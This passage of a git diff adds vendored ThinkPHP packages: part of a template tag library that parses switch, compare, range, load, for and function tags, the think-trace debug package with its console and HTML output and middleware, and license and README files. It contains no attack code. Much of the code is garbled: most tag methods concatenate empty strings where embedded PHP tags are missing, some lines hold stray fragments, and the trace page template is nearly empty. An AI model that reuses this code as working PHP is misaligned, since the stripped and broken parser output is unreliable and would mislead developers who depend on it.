$tag): string + { + $parseStr = ''; + + return $parseStr; + } + + /** + * switch标签解析 + * 格式: + * {switch name="a.name"} + * {case value="1" break="false"}1{/case} + * {case value="2" }2{/case} + * {default /}other + * {/switch} + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagSwitch(array $tag, string $content): string + { + $name = !empty($tag['expression']) ? $tag['expression'] : $tag['name']; + $name = $this->autoBuildVar($name); + $parseStr = '' . $content . ''; + + return $parseStr; + } + + /** + * case标签解析 需要配合switch才有效 + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagCase(array $tag, string $content): string + { + $value = isset($tag['expression']) ? $tag['expression'] : $tag['value']; + $flag = substr($value, 0, 1); + + if ('$' == $flag || ':' == $flag) { + $value = $this->autoBuildVar($value); + $value = 'case ' . $value . ':'; + } elseif (strpos($value, '|')) { + $values = explode('|', $value); + $value = ''; + foreach ($values as $val) { + $value .= 'case "' . addslashes($val) . '":'; + } + } else { + $value = 'case "' . $value . '":'; + } + + $parseStr = '' . $content; + $isBreak = isset($tag['break']) ? $tag['break'] : ''; + + if ('' == $isBreak || $isBreak) { + $parseStr .= ''; + } + + return $parseStr; + } + + /** + * default标签解析 需要配合switch才有效 + * 使用: {default /}ddfdf + * @access public + * @param array $tag 标签属性 + * @return string + */ + public function tagDefault(array $tag): string + { + $parseStr = ''; + + return $parseStr; + } + + /** + * compare标签解析 + * 用于值的比较 支持 eq neq gt lt egt elt heq nheq 默认是eq + * 格式: {compare name="" type="eq" value="" }content{/compare} + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagCompare(array $tag, string $content): string + { + $name = $tag['name']; + $value = $tag['value']; + $type = isset($tag['type']) ? $tag['type'] : 'eq'; // 比较类型 + $name = $this->autoBuildVar($name); + $flag = substr($value, 0, 1); + + if ('$' == $flag || ':' == $flag) { + $value = $this->autoBuildVar($value); + } else { + $value = '\'' . $value . '\''; + } + + switch ($type) { + case 'equal': + $type = 'eq'; + break; + case 'notequal': + $type = 'neq'; + break; + } + $type = $this->parseCondition(' ' . $type . ' '); + $parseStr = '' . $content . ''; + + return $parseStr; + } + + /** + * range标签解析 + * 如果某个变量存在于某个范围 则输出内容 type= in 表示在范围内 否则表示在范围外 + * 格式: {range name="var|function" value="val" type='in|notin' }content{/range} + * example: {range name="a" value="1,2,3" type='in' }content{/range} + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagRange(array $tag, string $content): string + { + $name = $tag['name']; + $value = $tag['value']; + $type = isset($tag['type']) ? $tag['type'] : 'in'; // 比较类型 + + $name = $this->autoBuildVar($name); + $flag = substr($value, 0, 1); + + if ('$' == $flag || ':' == $flag) { + $value = $this->autoBuildVar($value); + $str = 'is_array(' . $value . ')?' . $value . ':explode(\',\',' . $value . ')'; + } else { + $value = '"' . $value . '"'; + $str = 'explode(\',\',' . $value . ')'; + } + + if ('between' == $type) { + $parseStr = '= $_RANGE_VAR_[0] && ' . $name . '<= $_RANGE_VAR_[1]):?>' . $content . ''; + } elseif ('notbetween' == $type) { + $parseStr = '$_RANGE_VAR_[1]):?>' . $content . ''; + } else { + $fun = ('in' == $type) ? 'in_array' : '!in_array'; + $parseStr = '' . $content . ''; + } + + return $parseStr; + } + + /** + * present标签解析 + * 如果某个变量已经设置 则输出内容 + * 格式: {present name="" }content{/present} + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagPresent(array $tag, string $content): string + { + $name = $tag['name']; + $name = $this->autoBuildVar($name); + $parseStr = '' . $content . ''; + + return $parseStr; + } + + /** + * notpresent标签解析 + * 如果某个变量没有设置,则输出内容 + * 格式: {notpresent name="" }content{/notpresent} + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagNotpresent(array $tag, string $content): string + { + $name = $tag['name']; + $name = $this->autoBuildVar($name); + $parseStr = '' . $content . ''; + + return $parseStr; + } + + /** + * empty标签解析 + * 如果某个变量为empty 则输出内容 + * 格式: {empty name="" }content{/empty} + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagEmpty(array $tag, string $content): string + { + $name = $tag['name']; + $name = $this->autoBuildVar($name); + $parseStr = 'isEmpty())): ?>' . $content . ''; + + return $parseStr; + } + + /** + * notempty标签解析 + * 如果某个变量不为empty 则输出内容 + * 格式: {notempty name="" }content{/notempty} + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagNotempty(array $tag, string $content): string + { + $name = $tag['name']; + $name = $this->autoBuildVar($name); + $parseStr = 'isEmpty()))): ?>' . $content . ''; + + return $parseStr; + } + + /** + * 判断是否已经定义了该常量 + * {defined name='TXT'}已定义{/defined} + * @access public + * @param array $tag + * @param string $content + * @return string + */ + public function tagDefined(array $tag, string $content): string + { + $name = $tag['name']; + $parseStr = '' . $content . ''; + + return $parseStr; + } + + /** + * 判断是否没有定义了该常量 + * {notdefined name='TXT'}已定义{/notdefined} + * @access public + * @param array $tag + * @param string $content + * @return string + */ + public function tagNotdefined(array $tag, string $content): string + { + $name = $tag['name']; + $parseStr = '' . $content . ''; + + return $parseStr; + } + + /** + * load 标签解析 {load file="/static/js/base.js" /} + * 格式:{load file="/static/css/base.css" /} + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagLoad(array $tag, string $content): string + { + $file = isset($tag['file']) ? $tag['file'] : $tag['href']; + $type = isset($tag['type']) ? strtolower($tag['type']) : ''; + + $parseStr = ''; + $endStr = ''; + + // 判断是否存在加载条件 允许使用函数判断(默认为isset) + if (isset($tag['value'])) { + $name = $tag['value']; + $name = $this->autoBuildVar($name); + $name = 'isset(' . $name . ')'; + $parseStr .= ''; + $endStr = ''; + } + + // 文件方式导入 + $array = explode(',', $file); + + foreach ($array as $val) { + $type = strtolower(substr(strrchr($val, '.'), 1)); + switch ($type) { + case 'js': + $parseStr .= ''; + break; + case 'css': + $parseStr .= ''; + break; + case 'php': + $parseStr .= ''; + break; + } + } + + return $parseStr . $endStr; + } + + /** + * assign标签解析 + * 在模板中给某个变量赋值 支持变量赋值 + * 格式: {assign name="" value="" /} + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagAssign(array $tag, string $content): string + { + $name = $this->autoBuildVar($tag['name']); + $flag = substr($tag['value'], 0, 1); + + if ('$' == $flag || ':' == $flag) { + $value = $this->autoBuildVar($tag['value']); + } else { + $value = '\'' . $tag['value'] . '\''; + } + + $parseStr = ''; + + return $parseStr; + } + + /** + * define标签解析 + * 在模板中定义常量 支持变量赋值 + * 格式: {define name="" value="" /} + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagDefine(array $tag, string $content): string + { + $name = '\'' . $tag['name'] . '\''; + $flag = substr($tag['value'], 0, 1); + + if ('$' == $flag || ':' == $flag) { + $value = $this->autoBuildVar($tag['value']); + } else { + $value = '\'' . $tag['value'] . '\''; + } + + $parseStr = ''; + + return $parseStr; + } + + /** + * for标签解析 + * 格式: + * {for start="" end="" comparison="" step="" name=""} + * content + * {/for} + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagFor(array $tag, string $content): string + { + //设置默认值 + $start = 0; + $end = 0; + $step = 1; + $comparison = 'lt'; + $name = 'i'; + $rand = rand(); //添加随机数,防止嵌套变量冲突 + + //获取属性 + foreach ($tag as $key => $value) { + $value = trim($value); + $flag = substr($value, 0, 1); + if ('$' == $flag || ':' == $flag) { + $value = $this->autoBuildVar($value); + } + + switch ($key) { + case 'start': + $start = $value; + break; + case 'end': + $end = $value; + break; + case 'step': + $step = $value; + break; + case 'comparison': + $comparison = $value; + break; + case 'name': + $name = $value; + break; + } + } + + $parseStr = 'parseCondition('$' . $name . ' ' . $comparison . ' $__FOR_END_' . $rand . '__') . ';$' . $name . '+=' . $step . '){ ?>'; + $parseStr .= $content; + $parseStr .= ''; + + return $parseStr; + } + + /** + * url函数的tag标签 + * 格式:{url link="模块/控制器/方法" vars="参数" suffix="true或者false 是否带有后缀" domain="true或者false 是否携带域名" /} + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagUrl(array $tag, string $content): string + { + $url = isset($tag['link']) ? $tag['link'] : ''; + $vars = isset($tag['vars']) ? $tag['vars'] : ''; + $suffix = isset($tag['suffix']) ? $tag['suffix'] : 'true'; + $domain = isset($tag['domain']) ? $tag['domain'] : 'false'; + + return ''; + } + + /** + * function标签解析 匿名函数,可实现递归 + * 使用: + * {function name="func" vars="$data" call="$list" use="&$a,&$b"} + * {if is_array($data)} + * {foreach $data as $val} + * {~func($val) /} + * {/foreach} + * {else /} + * {$data} + * {/if} + * {/function} + * @access public + * @param array $tag 标签属性 + * @param string $content 标签内容 + * @return string + */ + public function tagFunction(array $tag, string $content): string + { + $name = !empty($tag['name']) ? $tag['name'] : 'func'; + $vars = !empty($tag['vars']) ? $tag['vars'] : ''; + $call = !empty($tag['call']) ? $tag['call'] : ''; + $use = ['&$' . $name]; + + if (!empty($tag['use'])) { + foreach (explode(',', $tag['use']) as $val) { + $use[] = '&' . ltrim(trim($val), '&'); + } + } + + $parseStr = '' . $content . '' : '?>'; + + return $parseStr; + } +} diff --git a/vendor/topthink/think-trace/.gitignore b/vendor/topthink/think-trace/.gitignore new file mode 100644 index 0000000..485dee6 --- /dev/null +++ b/vendor/topthink/think-trace/.gitignore @@ -0,0 +1 @@ +.idea diff --git a/vendor/topthink/think-trace/LICENSE b/vendor/topthink/think-trace/LICENSE new file mode 100644 index 0000000..261eeb9 --- /dev/null +++ b/vendor/topthink/think-trace/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/vendor/topthink/think-trace/README.md b/vendor/topthink/think-trace/README.md new file mode 100644 index 0000000..6ed63ec --- /dev/null +++ b/vendor/topthink/think-trace/README.md @@ -0,0 +1,15 @@ +# think-trace + +用于ThinkPHP6+的页面Trace扩展,支持Html页面和浏览器控制台两种方式输出。 + +## 安装 + +~~~ +composer require topthink/think-trace +~~~ + +## 配置 + +安装后config目录下会自带trace.php配置文件。 + +type参数用于指定trace类型,支持html和console两种方式。 \ No newline at end of file diff --git a/vendor/topthink/think-trace/composer.json b/vendor/topthink/think-trace/composer.json new file mode 100644 index 0000000..5af5854 --- /dev/null +++ b/vendor/topthink/think-trace/composer.json @@ -0,0 +1,31 @@ +{ + "name": "topthink/think-trace", + "description": "thinkphp debug trace", + "license": "Apache-2.0", + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + } + ], + "require": { + "php": ">=7.1.0", + "topthink/framework": "^6.0.0" + }, + "autoload": { + "psr-4": { + "think\\trace\\": "src" + } + }, + "extra": { + "think":{ + "services":[ + "think\\trace\\Service" + ], + "config":{ + "trace": "src/config.php" + } + } + }, + "minimum-stability": "dev" +} diff --git a/vendor/topthink/think-trace/src/Console.php b/vendor/topthink/think-trace/src/Console.php new file mode 100644 index 0000000..179d4ea --- /dev/null +++ b/vendor/topthink/think-trace/src/Console.php @@ -0,0 +1,173 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); +namespace think\trace; + +use think\App; +use think\Response; + +/** + * 浏览器调试输出 + */ +class Console +{ + protected $config = [ + 'tabs' => ['base' => '基本', 'file' => '文件', 'info' => '流程', 'notice|error' => '错误', 'sql' => 'SQL', 'debug|log' => '调试'], + ]; + + // 实例化并传入参数 + public function __construct(array $config = []) + { + $this->config = array_merge($this->config, $config); + } + + /** + * 调试输出接口 + * @access public + * @param Response $response Response对象 + * @param array $log 日志信息 + * @return string|bool + */ + public function output(App $app, Response $response, array $log = []) + { + $request = $app->request; + $contentType = $response->getHeader('Content-Type'); + + if ($request->isJson() || $request->isAjax()) { + return false; + } elseif (!empty($contentType) && strpos($contentType, 'html') === false) { + return false; + } elseif ($response->getCode() == 204) { + return false; + } + + // 获取基本信息 + $runtime = number_format(microtime(true) - $app->getBeginTime(), 10, '.', ''); + $reqs = $runtime > 0 ? number_format(1 / $runtime, 2) : '∞'; + $mem = number_format((memory_get_usage() - $app->getBeginMem()) / 1024, 2); + + if ($request->host()) { + $uri = $request->protocol() . ' ' . $request->method() . ' : ' . $request->url(true); + } else { + $uri = 'cmd:' . implode(' ', $_SERVER['argv']); + } + + // 页面Trace信息 + $base = [ + '请求信息' => date('Y-m-d H:i:s', $request->time() ?: time()) . ' ' . $uri, + '运行时间' => number_format((float) $runtime, 6) . 's [ 吞吐率:' . $reqs . 'req/s ] 内存消耗:' . $mem . 'kb 文件加载:' . count(get_included_files()), + '查询信息' => $app->db->getQueryTimes() . ' queries', + '缓存信息' => $app->cache->getReadTimes() . ' reads,' . $app->cache->getWriteTimes() . ' writes', + ]; + + if (isset($app->session)) { + $base['会话信息'] = 'SESSION_ID=' . $app->session->getId(); + } + + $info = $this->getFileInfo(); + + // 页面Trace信息 + $trace = []; + foreach ($this->config['tabs'] as $name => $title) { + $name = strtolower($name); + switch ($name) { + case 'base': // 基本信息 + $trace[$title] = $base; + break; + case 'file': // 文件信息 + $trace[$title] = $info; + break; + default: // 调试信息 + if (strpos($name, '|')) { + // 多组信息 + $names = explode('|', $name); + $result = []; + foreach ($names as $item) { + $result = array_merge($result, $log[$item] ?? []); + } + $trace[$title] = $result; + } else { + $trace[$title] = $log[$name] ?? ''; + } + } + } + + //输出到控制台 + $lines = ''; + foreach ($trace as $type => $msg) { + $lines .= $this->console($type, empty($msg) ? [] : $msg); + } + $js = << +{$lines} + +JS; + return $js; + } + + protected function console(string $type, $msg) + { + $type = strtolower($type); + $trace_tabs = array_values($this->config['tabs']); + $line = []; + $line[] = ($type == $trace_tabs[0] || '调试' == $type || '错误' == $type) + ? "console.group('{$type}');" + : "console.groupCollapsed('{$type}');"; + + foreach ((array) $msg as $key => $m) { + switch ($type) { + case '调试': + $var_type = gettype($m); + if (in_array($var_type, ['array', 'string'])) { + $line[] = "console.log(" . json_encode($m) . ");"; + } else { + $line[] = "console.log(" . json_encode(var_export($m, true)) . ");"; + } + break; + case '错误': + $msg = str_replace("\n", '\n', addslashes(is_scalar($m) ? $m : json_encode($m))); + $style = 'color:#F4006B;font-size:14px;'; + $line[] = "console.error(\"%c{$msg}\", \"{$style}\");"; + break; + case 'sql': + $msg = str_replace("\n", '\n', addslashes($m)); + $style = "color:#009bb4;"; + $line[] = "console.log(\"%c{$msg}\", \"{$style}\");"; + break; + default: + $m = is_string($key) ? $key . ' ' . $m : $key + 1 . ' ' . $m; + $msg = json_encode($m); + $line[] = "console.log({$msg});"; + break; + } + } + $line[] = "console.groupEnd();"; + return implode(PHP_EOL, $line); + } + + /** + * 获取文件加载信息 + * @access protected + * @return integer|array + */ + protected function getFileInfo() + { + $files = get_included_files(); + $info = []; + + foreach ($files as $key => $file) { + $info[] = $file . ' ( ' . number_format(filesize($file) / 1024, 2) . ' KB )'; + } + + return $info; + } +} diff --git a/vendor/topthink/think-trace/src/Html.php b/vendor/topthink/think-trace/src/Html.php new file mode 100644 index 0000000..bcb2f50 --- /dev/null +++ b/vendor/topthink/think-trace/src/Html.php @@ -0,0 +1,126 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); +namespace think\trace; + +use think\App; +use think\Response; + +/** + * 页面Trace调试 + */ +class Html +{ + protected $config = [ + 'file' => '', + 'tabs' => ['base' => '基本', 'file' => '文件', 'info' => '流程', 'notice|error' => '错误', 'sql' => 'SQL', 'debug|log' => '调试'], + ]; + + // 实例化并传入参数 + public function __construct(array $config = []) + { + $this->config = array_merge($this->config, $config); + } + + /** + * 调试输出接口 + * @access public + * @param App $app 应用实例 + * @param Response $response Response对象 + * @param array $log 日志信息 + * @return bool|string + */ + public function output(App $app, Response $response, array $log = []) + { + $request = $app->request; + $contentType = $response->getHeader('Content-Type'); + + if ($request->isJson() || $request->isAjax()) { + return false; + } elseif (!empty($contentType) && strpos($contentType, 'html') === false) { + return false; + } elseif ($response->getCode() == 204) { + return false; + } + + // 获取基本信息 + $runtime = number_format(microtime(true) - $app->getBeginTime(), 10, '.', ''); + $reqs = $runtime > 0 ? number_format(1 / $runtime, 2) : '∞'; + $mem = number_format((memory_get_usage() - $app->getBeginMem()) / 1024, 2); + + // 页面Trace信息 + if ($request->host()) { + $uri = $request->protocol() . ' ' . $request->method() . ' : ' . $request->url(true); + } else { + $uri = 'cmd:' . implode(' ', $_SERVER['argv']); + } + + $base = [ + '请求信息' => date('Y-m-d H:i:s', $request->time() ?: time()) . ' ' . $uri, + '运行时间' => number_format((float) $runtime, 6) . 's [ 吞吐率:' . $reqs . 'req/s ] 内存消耗:' . $mem . 'kb 文件加载:' . count(get_included_files()), + '查询信息' => $app->db->getQueryTimes() . ' queries', + '缓存信息' => $app->cache->getReadTimes() . ' reads,' . $app->cache->getWriteTimes() . ' writes', + ]; + + if (isset($app->session)) { + $base['会话信息'] = 'SESSION_ID=' . $app->session->getId(); + } + + $info = $this->getFileInfo(); + + // 页面Trace信息 + $trace = []; + foreach ($this->config['tabs'] as $name => $title) { + $name = strtolower($name); + switch ($name) { + case 'base': // 基本信息 + $trace[$title] = $base; + break; + case 'file': // 文件信息 + $trace[$title] = $info; + break; + default: // 调试信息 + if (strpos($name, '|')) { + // 多组信息 + $names = explode('|', $name); + $result = []; + foreach ($names as $item) { + $result = array_merge($result, $log[$item] ?? []); + } + $trace[$title] = $result; + } else { + $trace[$title] = $log[$name] ?? ''; + } + } + } + // 调用Trace页面模板 + ob_start(); + include $this->config['file'] ?: __DIR__ . '/tpl/page_trace.tpl'; + return ob_get_clean(); + } + + /** + * 获取文件加载信息 + * @access protected + * @return integer|array + */ + protected function getFileInfo() + { + $files = get_included_files(); + $info = []; + + foreach ($files as $key => $file) { + $info[] = $file . ' ( ' . number_format(filesize($file) / 1024, 2) . ' KB )'; + } + + return $info; + } +} diff --git a/vendor/topthink/think-trace/src/Service.php b/vendor/topthink/think-trace/src/Service.php new file mode 100644 index 0000000..3e78ecc --- /dev/null +++ b/vendor/topthink/think-trace/src/Service.php @@ -0,0 +1,21 @@ + +// +---------------------------------------------------------------------- +namespace think\trace; + +use think\Service as BaseService; + +class Service extends BaseService +{ + public function register() + { + $this->app->middleware->add(TraceDebug::class); + } +} diff --git a/vendor/topthink/think-trace/src/TraceDebug.php b/vendor/topthink/think-trace/src/TraceDebug.php new file mode 100644 index 0000000..5ed9cbf --- /dev/null +++ b/vendor/topthink/think-trace/src/TraceDebug.php @@ -0,0 +1,109 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\trace; + +use Closure; +use think\App; +use think\Config; +use think\event\LogWrite; +use think\Request; +use think\Response; +use think\response\Redirect; + +/** + * 页面Trace中间件 + */ +class TraceDebug +{ + + /** + * Trace日志 + * @var array + */ + protected $log = []; + + /** + * 配置参数 + * @var array + */ + protected $config = []; + + /** @var App */ + protected $app; + + public function __construct(App $app, Config $config) + { + $this->app = $app; + $this->config = $config->get('trace'); + } + + /** + * 页面Trace调试 + * @access public + * @param Request $request + * @param Closure $next + * @return void + */ + public function handle($request, Closure $next) + { + $debug = $this->app->isDebug(); + + // 注册日志监听 + if ($debug) { + $this->log = []; + $this->app->event->listen(LogWrite::class, function ($event) { + if (empty($this->config['channel']) || $this->config['channel'] == $event->channel) { + $this->log = array_merge_recursive($this->log, $event->log); + } + }); + } + + $response = $next($request); + + // Trace调试注入 + if ($debug) { + $data = $response->getContent(); + $this->traceDebug($response, $data); + $response->content($data); + } + + return $response; + } + + public function traceDebug(Response $response, &$content) + { + $config = $this->config; + $type = $config['type'] ?? 'Html'; + + unset($config['type']); + + $trace = App::factory($type, '\\think\\trace\\', $config); + + if ($response instanceof Redirect) { + //TODO 记录 + } else { + $log = $this->app->log->getLog($config['channel'] ?? ''); + $log = array_merge_recursive($this->log, $log); + $output = $trace->output($this->app, $response, $log); + if (is_string($output)) { + // trace调试信息注入 + $pos = strripos($content, ''); + if (false !== $pos) { + $content = substr($content, 0, $pos) . $output . substr($content, $pos); + } else { + $content = $content . $output; + } + } + } + } +} diff --git a/vendor/topthink/think-trace/src/config.php b/vendor/topthink/think-trace/src/config.php new file mode 100644 index 0000000..fad2392 --- /dev/null +++ b/vendor/topthink/think-trace/src/config.php @@ -0,0 +1,10 @@ + 'Html', + // 读取的日志通道名 + 'channel' => '', +]; diff --git a/vendor/topthink/think-trace/src/tpl/page_trace.tpl b/vendor/topthink/think-trace/src/tpl/page_trace.tpl new file mode 100644 index 0000000..6b1b9a1 --- /dev/null +++ b/vendor/topthink/think-trace/src/tpl/page_trace.tpl @@ -0,0 +1,71 @@ +
    + + +
    +
    +
    + +
    + + diff --git a/vendor/topthink/think-view/.gitignore b/vendor/topthink/think-view/.gitignore new file mode 100644 index 0000000..485dee6 --- /dev/null +++ b/vendor/topthink/think-view/.gitignore @@ -0,0 +1 @@ +.idea diff --git a/vendor/topthink/think-view/LICENSE b/vendor/topthink/think-view/LICENSE new file mode 100644 index 0000000..8dada3e --- /dev/null +++ b/vendor/topthink/think-view/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + 